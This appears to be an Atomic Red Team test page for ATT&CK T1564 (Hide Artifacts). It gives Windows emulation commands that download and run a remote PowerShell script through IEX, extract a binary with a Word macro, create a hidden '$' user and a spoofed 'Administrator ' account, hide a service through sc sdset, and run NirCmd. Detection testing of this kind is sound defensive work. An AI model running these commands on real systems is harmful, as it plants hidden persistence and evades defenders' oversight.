T1564 - Hide Artifacts

Description from ATT&CK (opens in a new tab)

Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: MalwareBytes ADS July 2015)

Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)

Atomic Tests

• Atomic Test #1 - Extract binary files via VBA

• Atomic Test #2 - Create a Hidden User Called "$"

• Atomic Test #3 - Create an "Administrator " user (with a space on the end)

• Atomic Test #4 - Create and Hide a Service with sc.exe

• Atomic Test #5 - Command Execution with NirCmd

Atomic Test #1 - Extract binary files via VBA

This module extracts a binary (calc.exe) from inside of another binary.

In the wild maldoc authors will use this technique to hide binaries inside of files stored within the office document itself. An example of this technique can be seen in sample

f986040c7dd75b012e7dfd876acb33a158abf651033563ab068800f07f508226

This sample contains a document inside of itself. Document 1 is the actual maldoc itself, document 2 is the same document without all the malicious code. Document 1 will copy Document 2 to the file system and then "peek" inside of this document and pull out the oleObject.bin file. Contained inside of this oleObject.bin file is a payload that is parsed out and executed on the file system.

Supported Platforms: Windows

auto_generated_guid: 6afe288a-8a8b-4d33-a629-8d03ba9dad3a

Attack Commands: Run with powershell!

$macro = [System.IO.File]::ReadAllText("PathToAtomicsFolder\T1564\src\T1564-macrocode.txt")
$macro = $macro -replace "aREPLACEMEa", "PathToAtomicsFolder\T1564\bin\extractme.bin"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1" -UseBasicParsing)
Invoke-Maldoc -macroCode "$macro" -officeProduct "Word" -sub "Extract" -NoWrap

Cleanup Commands:

Remove-Item "$env:TEMP\extracted.exe" -ErrorAction Ignore

Dependencies: Run with powershell!

Description: Microsoft Word must be installed

Check Prereq Commands:

try {
  New-Object -COMObject "Word.Application" | Out-Null
  Stop-Process -Name "winword"
  exit 0
} catch { exit 1 }

Get Prereq Commands:

Write-Host "You will need to install Microsoft Word manually to meet this requirement"

Atomic Test #2 - Create a Hidden User Called "$"

Creating a user with a username containing "$"

Supported Platforms: Windows

auto_generated_guid: 2ec63cc2-4975-41a6-bf09-dffdfb610778

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

net user $ ATOMIC123! /add /active:yes

Cleanup Commands:

net user $ /DELETE 2>&1

Atomic Test #3 - Create an "Administrator " user (with a space on the end)

Creating a user with a username containing with a space on the end

Supported Platforms: Windows

auto_generated_guid: 5bb20389-39a5-4e99-9264-aeb92a55a85c

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

New-LocalUser -Name "Administrator " -NoPassword

Cleanup Commands:

Remove-LocalUser -Name "Administrator " 2>&1 | out-null

Atomic Test #4 - Create and Hide a Service with sc.exe

The following technique utilizes sc.exe and sdset to change the security descriptor of a service and "hide" it from Get-Service or sc query.

Upon successful execution, sc.exe creates a new service changes the security descriptor.

https://twitter.com/Alh4zr3d/status/1580925761996828672 (opens in a new tab) https://learn.microsoft.com/en-us/windows/win32/secauthz/security-descriptor-string-format (opens in a new tab)

Supported Platforms: Windows

auto_generated_guid: 333c7de0-6fbe-42aa-ac2b-c7e40b18246a

Inputs:

Attack Commands: Run with command_prompt! Elevation Required (e.g. root or admin)

sc.exe create #{service_name} binPath= "#{executable_command}"
sc sdset #{service_name} "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"

Cleanup Commands:

sc sdset #{service_name} "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
sc.exe delete #{service_name}

Atomic Test #5 - Command Execution with NirCmd

NirCmd is used by threat actors to execute commands, which can include recon and privilege escalation via running commands via the SYSTEM account See https://www.kroll.com/en/insights/publications/cyber/black-basta-technical-analysis (opens in a new tab)

Supported Platforms: Windows

auto_generated_guid: 2748ab4a-1e0b-4cf2-a2b0-8ef765bec7be

Inputs:

Attack Commands: Run with powershell!

cmd /c "#{nircmd_location}" #{command_to_execute}

Cleanup Commands:

cmd /c "#{nircmd_location}" #{cleanup_command_to_execute} -erroraction silentlycontinue | out-null

Dependencies: Run with powershell!

Description: The Nircmd executable must exist at (#{nircmd_location})

Check Prereq Commands:

if (Test-Path "#{nircmd_location}") {exit 0} else {exit 1}

Get Prereq Commands:

New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
invoke-webrequest "https://www.nirsoft.net/utils/nircmd-x64.zip" -outfile "PathToAtomicsFolder\..\ExternalPayloads\nircmd.zip" 
expand-archive -path "PathToAtomicsFolder\..\ExternalPayloads\nircmd.zip" -destinationpath "PathToAtomicsFolder\..\ExternalPayloads\"